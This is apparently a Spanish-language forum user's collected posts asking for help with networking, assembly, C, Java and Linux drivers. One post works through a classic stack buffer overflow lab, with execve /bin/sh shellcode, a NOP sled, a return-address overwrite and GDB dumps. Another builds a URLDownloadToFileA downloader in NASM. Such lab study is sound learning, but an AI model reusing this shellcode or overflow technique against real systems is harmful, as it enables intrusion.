                                    .SubItems.Add("")
                                End If
                                ListView2.Items.Add(.Clone)
                            End With
                        End If
                        GoTo dn
                    End If
                Catch
                End Try
dn:
                Try
                    ProgressBar1.Value = ProgressBar1.Value + 1
                Catch
                End Try
            Next Record
            BaseAddr = BaseAddr + (1 + LenLen + OffLen)
        End While
        ProgressBar1.Value = 0
        ToolStripStatusLabel1.Text = ""
        Button1.Enabled = True
        Button2.Enabled = True
        ComboBox1.Enabled = True
        Button3.Enabled = True
        CheckBox2.Enabled = True
    End Sub

#12
hola

necesito ayuda, tengo un codigo para analizar mi red local, puedo saber lo clasico... ip, netmask y mac address... pero quisiera hacer algo parecido a nmap como el comando -sP que puedes ver que ip's hay conectadas al router pero que ademas mencione netmask y mac address de las demas computadoras

encontre un documento en C de 1998 donde lo hacen mediante arp, manda una señal y recibe esos mismo datos que quiero, intente compilar ese codigo para ver como funciona pero solo me manda a la consola los datos de mi computadora, pero la ip de mi celular no me menciona nada, aun no intento hacer la prueba con otra computadora porque ahora soy el unico conectado

quisiera saber si alguien de aqui sabe como podria mandar paquetes arp para recibir esa informacion o de que otra manera podria hacerse?, porque podria hacer ping pero como que no me agrada tanto la idea

les dejo el codigo que encontre, talvez algunos ya lo conocen se llama arptool hecho por Cristiano Lincoln Mattos

solo encontre un link directo al archivo pero para que no piensen que es un virus pondre la direccion completa de google

https://www.google.com/search?q=arptool.c&ie=utf-8&oe=utf-8

hay otro archivo hecho por Andy en code google pero es para windows, y yo intento hacerlo en linux, lo acabo de encontrar ahorita buscando el archivo jeje  :P, solo que al parecer usa winpcap de windows y yo uso pcap de linux, me imagino hay diferencia en programacion

para que no tengan que leer todo, la parte que intento aprender es la funcion mapeo, que es la que usa una funcion llamada sendarp para precisamente hacer el mapeo de las redes junto con otras funciona igual hechas por el autor del codigo

hay unas funciones de ese mismo codigo que ya no logre entender, por ejemplo, la funcion str_to_hwaddr, la funcion hexstr_to_int y ya casi le entiendo a la funcion add_to_list que sera casi lo ultimo, porque la funcion show_list es solo para mandar a la consola la informacion guardada en las estructuras

espero me puedan ayudar, porque aunque parece sencillo una parte del codigo, ya se me bloquearon las ideas y como hace poco x64Core me hizo el favor de pasarme unos codigos muy buenos que estaba buscando, habian archivos en word que estaban en chino y tuve que traducirlos con google traductor y ahora mismo me encuentro tratando de leer y comprender lo que el traductor quiso decir en varias traducciones  :xD

bueno, salu2 y gracias de antemano







#13
hola

Alguien sabe donde puedo encontrar codigos fuente donde muestren como recuperar archivos borrados?, he estado investigando sobre el tema pero no he logrado obtener algun ejemplo, se que lo archivos borrados, unicamente se les borra la cabecera y creo se le agrega un hexadecimal al inicio que muestra que el archivo fue borrado, me imagino que tendria que programar un escaneo a una memoria USB ("como ejemplo")... pero no se me ocurre de que forma hacer ese escaneo y analizar los bloques de memoria hasta encontrar esos hexadecimales

tengo la idea de que si encuentro el hexadecimal de inicio de archivo borrado, sera cuestion de encontrar el final del archivo, cada archivo tiene un EOF que lo distingue y asi encontrar los direfentes archivo y despues analizarlos para ver como restaurar la cabecera del archivo y reconstruirlo, he leido un poco tambien sobre eso y me gustaria empezar a llevarlo poco a poco para saber mas sobre como funciona

pero para eso tengo que saber como analizar los clusters que aun tengan informacion o algo asi, ya que no es lo mismo buscar hexadecimales de un archivo con fopen que buscar hexadecimales de un archivo que fue borrado y desconozco en donde se encuentra

por eso quisiera pedir ayuda de si alguien sabe de algun codigo fuente, algun archivo o alguien conoce informacion sobre esto que me pueda ayudar a iniciar

de preferencia en C si es posible

salu2
#14
hola

alguien me podria decir si un cable ethernet de 10 metros pierde señal?, es que dicen que hasta 100 metros, otros que hasta 60 metros, incluso que despues de 25, pero tengo un cable de 10 metros y quisiera saber si pierde mucha señal por la distancia

salu2
#15
hola

tengo pensado hacer un cambio de sistema, actualmente uso fedora, la version 17 me gusto, lo actualice a la version 18 y al principio tuve problemas pero despues de algunas actualizaciones se arreglo

pero actualmente he tenido muchisimos problemas con la tarjeta de video, si utilizo las nuevas versiones del kernel 3.10, va lentisimo mi sistema con el driver de amd, la otra opcion es usar el driver libre, pero la temperatura de mi sistema aumenta demasiado y mi ventilador nunca descansa

anteriomente utilice ubuntu, el cual me dejo de gustar por sus frecuentes bugs, cambie a debian pero siempre tenia problemas con las nuevas actualizaciones, al principio no me importaban pero como iba avanzando en el manejo de linux, hubo cosas que me interesaron pero no podia hacerlas porque necesitaba ciertas librerias actualizadas y debian espera bastante tiempo, ya que tampoco me gusta mucho las versiones beta

tambien pase un poco por opensuse, pero eso fue hace años, y no se que tan bien ande ahora y por varias otras variantes que existen PCLinuxOS, kubuntu, Xevian, etc...

entonces me gustaria saber si alguien me puede recomendar alguna distro que sean equivalente o mejor a debian o fedora, que son los que mas me han gustado hasta ahora, tambien que funcionen mejor con gnome ya que uso bastante GTK

bueno, salu2

#16
hola

Estoy intentando conectar a netcat entre linux, que esta instalado en mi computadora y windows que esta en virtualbox, la conexion de linux hacia windows se hace correctamente, pero cuando intento conectar netcat desde windows hacia linux no se logra ninguna conexion

VirtualBox lo tengo como bridge(puente) para utilizar una ip de mi router, y he intentado desactivar el firewall pero no hay conexion

alguien sabe porque no se logra conectar netcat desde windows hacia linux?, porque como comente hace un momento, desde linux hacia windows si se puede
#17
Bugs y Exploits / ayuda con un exploit para linux
4 Septiembre 2013, 23:19 PM
hola

Tengo problemas con un ejercicio de un exploit para linux

Este es el codigo a explotar

#include <stdio.h>
#include <string.h>

main(int argc, char **argv){
   
   char buffer[80];
   strcpy(buffer, argv[1]);
   
   return 1;
}


Este es el codigo del exploit

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

// shellcode ripped from http://www.milw0rm.com/shellcode/444

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xaa\xaa\xaa\xaa";

#define NOP 0x90


main()
{
       char buffer[96];

       memset(buffer, NOP, 96);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+88, retaddr, 4);
       memcpy(buffer+92, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}



Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret

(gdb) x/22xw $esp
0xffffcfe0:   0x00000000   0x0804824c   0xffffffff   0x47488023
0xffffcff0:   0x47462a3c   0xf7ffc3d0   0x474edfd0   0x080482bd
0xffffd000:   0x00010000   0x476061d8   0x0804a000   0x08048492
0xffffd010:   0x00000002   0xffffd0d4   0xffffd0e0   0x474881ad
0xffffd020:   0x476083c4   0x00001000   0x0804844b   0x47608000
0xffffd030:   0x08048440   0x00000000

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0x90909090   0xaaaaaaaa

Este es ret y esp+4

0xffffd030:   0x08048440   0x00000000

y asi queda despues de meter los valores

0xffffd313:   0x90909090   0xaaaaaaaa

Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xe0\xcf\xff\xff";

#define NOP 0x90


main()
{
       char buffer[92];

       memset(buffer, NOP, 92);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+84, retaddr, 4);
       memcpy(buffer+88, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}



pero volviendo a verificar con GDB

(gdb) x/22xw argv[1]
0xffffd2cb:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2db:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2eb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2fb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd30b:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd31b:   0xffffcfe0   0x47445800

de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00

0xffffd31b:   0xffffcfe0   0x47445800

Y el problema es que deberia quedar asi

0xffffd31b:   0xffffcfe0   0x00000000

Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88

memcpy(buffer+88, "\x90\x90\x90\x90", 4);

entonces lo volvi a depurar y miren

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0xffffcfe0   0x90909090


lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi

0xffffd313:   0xffffcfe0   0x00000000

para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000

Alguien me podria ayudar a solucionarlo porfavor

salu2

EDITO

tengo desactivado randomize_va_space y enforce de SElinux

y los dos estan compilados con los mismo parametros

gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
#18
Hola

Estaba haciendo un ejemplo de como usar los opcodes para ejecutarlos en un C, por ejemplo

Este codigo es el clasico en esamblador de exit(0), y usando objdump quedo asi

#include <stdio.h>

char exits[] = "\xbb\x14\x00\x00\x00"
                   "\xb8\x01\x00\x00\x00"
                   "\xcd\x80";

int main(){
   
    int *ret;
    ret = (int *)&ret +2;
    (*ret) = (int)exits;
}


el programa lo compilo de esta forma ya que lo estoy analizando como 32 bits y mi sistema es de 64bits

gcc -m32 -ggdb -mpreferred-stack-boundary=2 -o salida salida.c

pero cuando lo ejecuto me sale una violacion de segmento, me imagino que falla exit(0) y no sale correctamente el programa

Alguien me podria decir porque falla el codigo?

#19
hola

Alguien me podría decir que error o que estoy haciendo mal en esta parte del código, lo que hace es hacer una conexión con sqlite y mostrar el resultado en una tabla en forma de lista para ver las columnas

esto lo hice anteriormente con código pero no supe como agregar y acomodar las cajas de texto y botones, así que abrí un nuevo proyecto usando JFRAME, y al parecer el código funciona porque me da el nombre de la primera columna de una base "main.db" pero cuando hago un while para mostrar la lista de la columna, me aparecen algunos "Row" pero están vacíos

A ver si alguien me pude decir que podría estar mal, o si podría ser algo de las propiedades de la tabla

Código (java) [Seleccionar]
private void DoOpen(DefaultTableModel tableModel){
       
       Conexion cnx = new Conexion();
       
        try{
            cnx.conectar();
            String sql = "SELECT name FROM sqlite_master";
            cnx.consulta = cnx.conexion.createStatement();
            ResultSet res = cnx.consulta.executeQuery(sql);
           
            if(res != null){
                int colm = res.getMetaData().getColumnCount();
               
                for(int i = 1; i <= colm; i++){
                    tableModel.addColumn(res.getMetaData().getColumnName(i));
                }
                while(res.next()){
                    Object []objetos = new Object[colm];
                    for(int j = 1; j <= colm; j++){
                        objetos[j-1] = res.getObject(j);
                    }
                    tableModel.addRow(objetos);
                }
            }
        }catch(SQLException e)
        {
        }
   
    }
#21
hola

alguien me podria decir como obtener la direccion completa de un archivo, estoy usando Filedialog pero solo me da el nombre y quisiera obtener la direccion completa de la ubicacion de un archivo

lo estoy haciendo de esta manera

Código (java) [Seleccionar]
private void doOpen(){
       
        FileDialog open = new FileDialog(this, "Abrir...", FileDialog.LOAD);
        open.setVisible(true);
       
       
        String fname = open.getDirectory();
        System.out.println(fname);
    }


pero no encuentro alguna funcion que haga lo que necesito, espero alguien sepa como obtener el path completo de un archivo

salu2
#22
hola

pues despues de buscar y reintentar, logre crear el codigo y que se compile sin errores, se cargan las siguientes librerias en la pantalla de depuracion de visual studio, el cual lo tengo configurado como x64

'Project1.exe' (Win32): 'C:\Windows\System32\ntdll.dll' cargado. Símbolos cargados.
'Project1.exe' (Win32): 'C:\Windows\System32\kernel32.dll' cargado. Símbolos cargados.
'Project1.exe' (Win32): 'C:\Windows\System32\KernelBase.dll' cargado. Símbolos cargados.
'Project1.exe' (Win32): 'C:\Windows\System32\ws2_32.dll' cargado. Símbolos cargados.
'Project1.exe' (Win32): 'C:\Windows\System32\msvcrt.dll' cargado. Símbolos cargados.
'Project1.exe' (Win32): 'C:\Windows\System32\rpcrt4.dll' cargado. Símbolos cargados.
'Project1.exe' (Win32): 'C:\Windows\System32\nsi.dll' cargado. Símbolos cargados.


pero no se conecta, alguien podria checar el codigo y decirme que podria estar mal, por favor

Código (asm) [Seleccionar]

extrn LoadLibraryA:PROC
extrn ExitProcess:PROC
extrn GetProcAddress:PROC

.data

wsdll db "ws2_32.dll",0
wsaddr dq ?
WStp db "WSAStartup",0
wtaddr dq ?
wsadata db 400 dup (0)
sock db "socket",0
sockaddr dq ?
conn db "connect",0
conaddr dq ?
sen db "send",0
senaddr dq ?
buf db "hola mundo",0

.code
Start proc
push rbp
mov rbp, rsp
sub rsp, 20h

mov rcx, offset [wsdll]
call LoadLibraryA
mov[wsaddr], rax

mov rdx, offset[WStp]
mov rcx, [wsaddr]
call GetProcAddress
mov[wtaddr], rax

lea rdx, wsadata
push rdx
push 2h
call [wtaddr]

mov rdx, offset[sock]
mov rcx, [wsaddr]
call GetProcAddress
mov[sockaddr], rax

push 0
push 1
push 2
call [sockaddr]
mov[sockaddr], rax

mov rdx, offset[conn]
mov rcx, [wsaddr]
call GetProcAddress
mov[conaddr], rax

push 16
mov rax, 0100007FB9220002h
push rax
push[sockaddr]
call[conaddr]

mov rdx, offset[sen]
mov rcx, [wsaddr]
call GetProcAddress
mov[senaddr], rax

mov r9, 0
mov r8, 50
mov rdx, offset[buf]
mov rcx,[sockaddr]
call[senaddr]


mov rsp, rbp
pop rbp

xor ecx, ecx
call ExitProcess

Start endp

End
#23
hola

estuve investigando sobre el tema de rcx - r8, y encontre que hay que alinear reservando espacio para los registros que seria 20h, no tengo bien entendido si tambien hay que reservar espacio para las API o para los CALL, en un foro resolvieron un problema sumando 8

sub rsp, 20h

sub rsp, 20h + 8

pero en un tutorial dice que call manda de retorno 8 bytes, asi que si 20h son 32 bytes, serian 32 + 8 = 40 entonces seria

sub rsp, 28h

It is the caller's responsibility to allocate 32 bytes of "shadow space" (for storing RCX, RDX, R8, and R9 if needed) before calling the function.

asi lo he hecho en este momento y al parecer funciono al inicio, antes solo cargaba estas dll

'C:\Windows\System32\ntdll.dll' cargado. Símbolos cargados.
'C:\Windows\System32\kernel32.dll' cargado. Símbolos cargados.
'C:\Windows\System32\KernelBase.dll' cargado. Símbolos cargados

cuando agregue 28h, cargaron las demas dll

'C:\Windows\System32\ntdll.dll' cargado. Símbolos cargados.
'C:\Windows\System32\kernel32.dll' cargado. Símbolos cargados.
'C:\Windows\System32\KernelBase.dll' cargado. Símbolos cargados.
'C:\Windows\System32\ws2_32.dll' cargado. Símbolos cargados.
'C:\Windows\System32\msvcrt.dll' cargado. Símbolos cargados.
'C:\Windows\System32\rpcrt4.dll' cargado. Símbolos cargados.
'C:\Windows\System32\nsi.dll' cargado. Símbolos cargados.

este es el codigo

Código (asm) [Seleccionar]


extrn LoadLibraryA:PROC
extrn ExitProcess:PROC

.data

wsdll db "ws2_32.dll",0
wsaddr dq ?


.code
Start proc
push rbp
mov rbp, rsp
sub rsp, 28h

mov rcx, offset [wsdll]
call LoadLibraryA
mov[wsaddr], rax


xor ecx, ecx
call ExitProcess

mov rsp, rbp
pop rbp

Start endp

End


ahora quise continuar con GetProcAddress, pero aqui no logro avanzar, ahora se interrumpe la ejecucion en el call de getprocaddress, lo que significa que vuelve a retornar 0, intente varias formas, por ejemplo

Código (asm) [Seleccionar]
mov rcx, offset[WStp]
mov rdx, [wsaddr]
call GetProcAddress
mov[wtaddr], rax


Código (asm) [Seleccionar]
mov rdx, offset[WStp]
mov r8, [wsaddr]
call GetProcAddress
mov[wtaddr], rax


tambien intente mover rsp, con 30h, 20h, etc, leyendo mas encontre

It is the caller's responsibility to clean the stack after the call.

asi que quise borrar usando add rsp, 28h y volviendo a reservar sub rsp, 28h,tambien add rsp, 8h, add rsp, 10h,  pero nada,
me podrian ayudar un poco con esto porfavor?

salu2
#24
ASM / problema con masm para 64bits
5 Agosto 2013, 02:56 AM
hola

tuve curiosidad de pasar el socket que hice a 64 bits, pero tambien tuve problemas para vincular obj a exe, ya que gcc en windows solo funciona para 32bits, hay una version para 64 pero me tira errores, asi que opte por golink, pero encontre que se podia usar masm desde Visual studio, asi que opte por usar masm

hay algunas diferencias en entre nasm y masm sobre el codigo, pero tenia entendido que es mas universal asm, asi que para no complicarme hice el mismo codigo que ya tenia pero con las diferencias de masm, el codigo al compilarlo no me produce errores, pero aparece la pantalla de interrupcion que menciona que hay un error en ejecucion, desafortunadamente ollydbg tampoco funciona para ejecutables de 64 bits y no tengo mucha experiencia con el debugger que viene por defecto en visual studio, pero puse algunos break y tira el error en el primer "call", y posiblemente son todos los call

en nasm normalmente lo uso asi

Código (asm) [Seleccionar]
mov[valor], eax
call [valor]



pero creo en masm eso no funciona, ya googlé varias veces, pero no encuentro como usar call en masm para 64 bits, o cual es la diferencia, etc, todo lo que encuentro es para 32bits

alguien podria explicarme, porque no funciona el codigo que hice?, acabo de empezar en estos dias con masm, asi que todavia hay diferencias que no comprendo, y siento que lo mas recomendable para ensamblador en windows seria masm y en linux seria nasm

por cierto, si me recomiendan mejor usar el IDE de masm en vez de Visual studio, puedo hacer el cambio, lo que sucede es que uso Visual Studio para programar en C o visual basic, aunque me gusta mas usar MinGW con codeblocks, pero ya que tengo esa IDE instalada, decidi mejor programar alli tambien en ensamblador

les dejo el codigo

Código (asm) [Seleccionar]

extrn LoadLibraryA:PROC
extrn ExitProcess:PROC
extrn GetProcAddress:PROC

.data

wstart db 400 dup (0)

wsdll db 'ws2_32.dll',0
wsaddr dq ?
WStp db 'WSAStartup',0
wstaddr dq ?
soc db 'socket',0
socaddr dq ?
conn db 'connect',0
conaddr dq ?
sen db 'send',0
senaddr dq ?

sre db "hola mundo",0

.code
Start proc
push rbp
mov rbp, rsp

mov rdx, offset[wsdll]
call LoadLibraryA
mov[wsaddr], rax

mov r8, offset[WStp]
mov r9, [wsaddr]
call GetProcAddress
mov[wstaddr], rax

lea rcx,[wstart]
push rcx
push 2
call [wstaddr]

mov r8, offset[soc]
mov r9, offset[wsaddr]
call GetProcAddress
mov[wstaddr], rax

push 0
push 1
push 2
call [wstaddr]
mov[socaddr], rax

mov r8, offset[conn]
mov r9, offset[wsaddr]
call GetProcAddress
mov[conaddr], rax

push 16
xor rax, rax
mov rax, 0100007f5c110002h
push rax
push qword ptr[socaddr]
call [conaddr]

mov r8, offset[sen]
mov r9, offset[wsaddr]
call GetProcAddress
mov[senaddr], rax

push 0
push 50
mov rcx, offset [sre]
push rcx
push qword ptr[socaddr]
call [senaddr]

xor ecx, ecx
call ExitProcess

mov rsp, rbp
pop rbp

Start endp

End


si encuetran codigo muy raro, es que use varias formas que encontraba en google pero ninguna funciono, aunque espero siga siendo entendible

salu2
#25
hola

tengo una duda

en el codigo de socket que hice de nasm, estaba quitando varios printf que puse para saber que estaba haciendo el programa y verificar si se ejecutaba bien, pero al saber que ya estaba funcionando quise eliminarlos, pero al eliminar una parte codigo dejo de funcionar

habia puesto saveWSA, para comprobar que WSAStartup esta funcionando

Código (asm) [Seleccionar]
saveWSA: dd '0xFFFFFFFF'
soc: db 'socket',0
soadd: dd '0xFFFFFFFF'


"saveWSA" solo era para verificar que estaba bien WSAStartup viendo el resultado de eax con un printf

lo habia puesto asi

Código (asm) [Seleccionar]
mov [saveWSA], eax
cmp dword [saveWSA], -1
jne mns1
je erro

mns1:
push dword [saveWSA]
push res1
call _printf


quise eliminar "0xFFFFFFFF" de saveWSA, pero despues de compilar, lo ejecuto y me aparece un error y se cierra el programa, despues solo elimine la parte de comprobacion

/////////
mov [saveWSA], eax
......
....
...
...
call printf
////////////

todo eso borre y pero esta ves deje "saveWSA: dd '0xFFFFFFFF'", volvi a compilar y al ejecutar el programa, funciona correctamente

hice un seguimiento con ollydbg y me di cuenta de dos cosas, la primera es que si quito "saveWSA" de la sección data, la parte donde llamo con GetProcAddress a socket, solo me aparece

"ock 2.0" y me aparece despues una violacion de acceso

y la segunda es que cuando vuelvo a colocar unicamente "saveWSA: dd '0xFFFFFFFF'" en ollydbg me aparece bien la invocacion con GetPtocAddress, "socket"

en pocas palabaras

funciona correctamente

Código (asm) [Seleccionar]
saveWSA: dd '0xFFFFFFFF'
soc: db 'socket',0
soadd: dd '0xFFFFFFFF'


ya no funciona

Código (asm) [Seleccionar]

soc: db 'socket',0
soadd: dd '0xFFFFFFFF'


alguien sabe porque falla en ese sentido?, la verdad no entiendo porque funciona con saveWSA si solo lo puse para verificar con printf si estaba bien WSAStartup, y al quitarlo deja de funcionar

salu2
#26
hola

estaba haciendo un socket sencillo e windows y se conecta bien pero cuando uso send() y recv() no me aparece nada  :huh:  :huh:, me podrian decir que podria estar mal, llevo un tiempo sin usar C y sockets pero no creo que se me haya olvidado como hacerlo jeje, a ver si le encuentran algo mal, porque ya lo revise y no recuerdo haber olvidado algo

solo era conectarse entre sockets y mandan un "hola mundo"

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

int main()
{
   WSADATA wsa;
SOCKET sock;
struct sockaddr_in cl;
int co = 0;
char buff[50];

WSAStartup(MAKEWORD(2,2), &wsa);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

cl.sin_family = AF_INET;
cl.sin_port = htons(8889);
cl.sin_addr.s_addr = INADDR_ANY;

if(bind(sock, (struct sockaddr*)&cl, sizeof(struct sockaddr)) == -1){
   printf("error bind");
}

if(listen(sock, 1) == -1){

   printf("error listen");
}

co = sizeof(struct sockaddr);

if((accept(sock, (struct sockaddr*)&cl, &co)) == -1){
       accept(sock, (struct sockaddr*)&cl, &co);

       }

recv(sock, buff, sizeof(buff), 0);
printf("%s", buff);


return 0;
}


#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

int main()
{
   WSADATA wsa;
   SOCKET fd;
   struct sockaddr_in cli;
   struct hostent* he;
   char buff[50] = "hola mundo";

   WSAStartup(MAKEWORD(2,2), &wsa);
   he = gethostbyname("127.0.0.1");
   if((fd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) != 0){

       printf("resultado %d", fd);
   }

   cli.sin_family = AF_INET;
   cli.sin_port = htons(8889);
   cli.sin_addr = *((struct in_addr*)he->h_addr);
   memset(cli.sin_zero, 8, 0);

   connect(fd, (struct sockaddr*)&cli, sizeof(struct sockaddr));

   send(fd, buff, strlen(buff), 0);

   return 0;
}
#27
ASM / logre un socket en nasm jeje
20 Julio 2013, 22:05 PM
yeeeeeah!! lo logre

les dejo el codigo por si a alguien mas le sirve y por si lo pierdo se que aqui estara, solo me falta el servidor pero espero se me facilite un poco mas

y gracias al consejo de cpu2 de usar direcciones en vez de usar estructuras logre hacerlo

Código (asm) [Seleccionar]
[BITS 32]

section .data

wsdll: db 'ws2_32.dll',0
wsaddr: dd '0xFFFFFFFF'
Getpc: dd '0xFFFFFFFF'

WStp: db 'WSAStartup',0
WSaddr: dd '0xFFFFFFFF'
WSD: dd 'WSADATA',0
saveWSA: dd '0xFFFFFFFF'
soc: db 'socket',0
soadd: dd '0xFFFFFFFF'
conn: db 'connect', 0
conaddr: dd '0xFFFFFFFF'
sen: db 'send', 0
sendadd: dd '0xFFFFFFFF'

res1: db "WSAStartup %d", 10, 0
res2: db "Socket %d", 10, 0
res3: db "connect %d", 10, 0
res4: db "send %d", 10 ,0

sre: db "hola mundo",0

section .bss
sn resb 10

section .text

global _WinMain@16
extern _ExitProcess@4
extern _LoadLibraryA@4
extern _GetProcAddress@8
extern _printf
extern _WSAStartup@8

_WinMain@16:

xor eax, eax

push wsdll
call _LoadLibraryA@4
mov [wsaddr], eax

push WStp
push dword [wsaddr]
call _GetProcAddress@8
mov [Getpc], eax

push WSD
push 0x202
call [Getpc]
mov [saveWSA], eax

cmp dword [saveWSA], -1
jne mns1
je erro

mns1:
push dword [saveWSA]
push res1
call _printf

push soc
push dword [wsaddr]
call _GetProcAddress@8
mov [Getpc], eax

push 6
push 1
push 2
call [Getpc]
mov [soadd], eax

push dword [soadd]
push res2
call _printf

push conn
push dword [wsaddr]
call _GetProcAddress@8
mov [conaddr], eax

push dword [conaddr]
push res3
call _printf

push 0x0100007F
push 0xB9220002
mov esi, esp
push byte 16
push esi
push dword [soadd]
call [conaddr]

erro:
push 0
call _ExitProcess@4



Habia leido sobre poner sockaddr_in en nasm pero no supe como usar estructuras asi que puse directamente la ip, el puerto y el formato de direccion (AF_INET) lo guarde en ESI, despues reserve 16 bytes de espacio para la longitud de sockaddr_in y listo, meti en la pila la longitud, ESI, el descriptor e hice un call a connect

aun me confundo en la posicion de las cosas, habia puesto el descriptor socket al inicio pero iba antes de connect

bueno, espero a alguien mas le ayude esto que si me costo trabajo, seguire estudiando todavia mas sobre asm

solo como ultima peticion, alguien me podria explicar bien el funcionamiento de ESI y EDI

funciona para concatenar o copiar?, por ejemplo

lo que haya en esi se concatena con edi

esi = 1
edi = 2

mov eax, edi
eax = 12

es algo asi?

se que significa source index y destination index y en este caso me ayudo como registro para salvar lo que habia en esp, pero muy bien aun no lo entiendo, podrian explicarme y si se puede con un ejemplo porfavor

gracias y salu2
#28
ASM / como usar estructuras en nasm?
16 Julio 2013, 20:45 PM
hola

alguien me puede decir como usar estructuras en nasm?, lo que estoy tratando de programar es un socket en asm, pero no se como colocar la estructura sockaddr_in en nasm para usar los parametros de .sin_family, .sin_port, etc
#29
hola

Quise hacer por mi mismo un downloader para practicar asm, pero tengo un problema, nasm no me da ningun error, gcc tampoco pero cuando lo ejecuto, me sale un mensaje de error y se cierra, me podrian decir que fallo le encuentran porfavor?

[Bits 32]

section .data
remote_file db 'http://www.crackberrista.com/wp-content/uploads/2012/01/hacker.gif',0
local_file db 'hacker.gif',0
url db 'urlmon.dll'
ldlib dd '0xFFFFFFFF'
URDo db 'URLDownloadToFileA'
urd dd '0xFFFFFFFF'

section .text
extern _LoadLibraryA@4
extern _GetProcAddress@8
extern _FreeLibrary@4
extern _ExitProcess@4
global _WinMain@16

_WinMain@16:

push url
call _LoadLibraryA@4
mov [ldlib], eax

push URDo
push dword [ldlib]
call _GetProcAddress@8
mov [urd], eax

push 0
push 0
push local_file
push remote_file
push 0
call [urd]

call _FreeLibrary@4

push 0
call _ExitProcess@4
ret 16
#30
hola

tengo una duda, cuando hago un for y un printf juntos, me funciona en 32bits de windows pero en 64 bits de linux, me dice que la instruccion no es soportada para 64 bits, la verdad no he logrado saber si el codigo esta bien o mal hecho por la razon de los 64 bits, a lo cual tambien tengo otra duda

tenia entendido que para usar inc o dec se usaba el registro ecx, pero cuando lo ejecuto usando ecx me da error, y cuando uso ebx me funciona bien cuando lo ejecuto en windows 32bits, alguien sabe cual seria la razon de porque pasa eso?

les dejo el codigo que trato de usar en linux y espero me puedan decir cual es el problema de porque no funciona

[BITS 64]

section .data

fmt: db "valor = %d",10, 0

section .text

extern printf
global main

main:

mov ebx, 10
loop:

push ebx
push fmt
mov eax, 0
call printf

dec ebx
jnz loop

ret
#31
hola

tengo una tarjeta grafica ATI y uso fedora 18, y tengo una duda sobre los drivers libres

cuando instalo los drivers libres mi computadora se calienta, se vuelve un poco lenta y el ventilador se acelera bastante, pero cuando instalo los drivers privativos la computadora queda normal, velocidad normal, temperatura entre los 38 y 45 centigrados dependiendo el trabajo, y el ventilador ni se escucha, pero lei que los drivers privativos no dan el rendimiento completo a las tarjetas graficas y que incluso los drivers libres ya estan superando a los privativos

pero esa es mi duda, hay alguna razon de porque los drivers privativos van mejor en mi laptop y como podria instalar los libres pero logrando que no se alente ni sobrecaliente mi sistema?

salu2
#32
hola

alguien sabe como modificar archivos de manera forzada?

lo que sucede es que quiero modificar el archivo laptop_mode para colocarle 5 ya que por default viene 0, y también lo que sucede es que acabo de instalar fedora 18 y con los drivers privativos el sistema me funciona bien, pero hay fallas que con los drivers libres no me pasa, el problema es que con los drivers libres mi sistema va algo lento y el ventilador se mueve de manera acelerada

